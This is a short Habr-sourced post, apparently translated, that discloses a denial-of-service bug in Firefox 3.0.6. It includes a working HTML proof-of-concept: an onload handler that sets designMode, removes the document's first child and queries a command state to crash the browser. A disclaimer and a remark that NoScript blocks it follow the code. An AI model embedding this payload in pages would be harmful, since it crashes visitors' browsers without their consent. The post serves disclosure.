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Mozilla Firefox 3.0.6 DoS Attack

Firefox 3.0.6 is subject to a DoS attack due to incorrect processing of certain code.
We are waiting for updates ...

Example:
ATTENTION!!! Sample code is provided solely for informational purposes! It is forbidden to use it!
<BODY onload="
document.designMode='on';//string
document.removeChild(document.firstChild);//object
document.queryCommandState('BackColor');
">


test (neatly, the browser ff is likely to fall)

PS If the habrasoobshchestvo decides that the code is still not worth it, I will remove it
')
upd: they say in the comments that everything is alive with the included NoScript

Source: https://habr.com/ru/post/52653/


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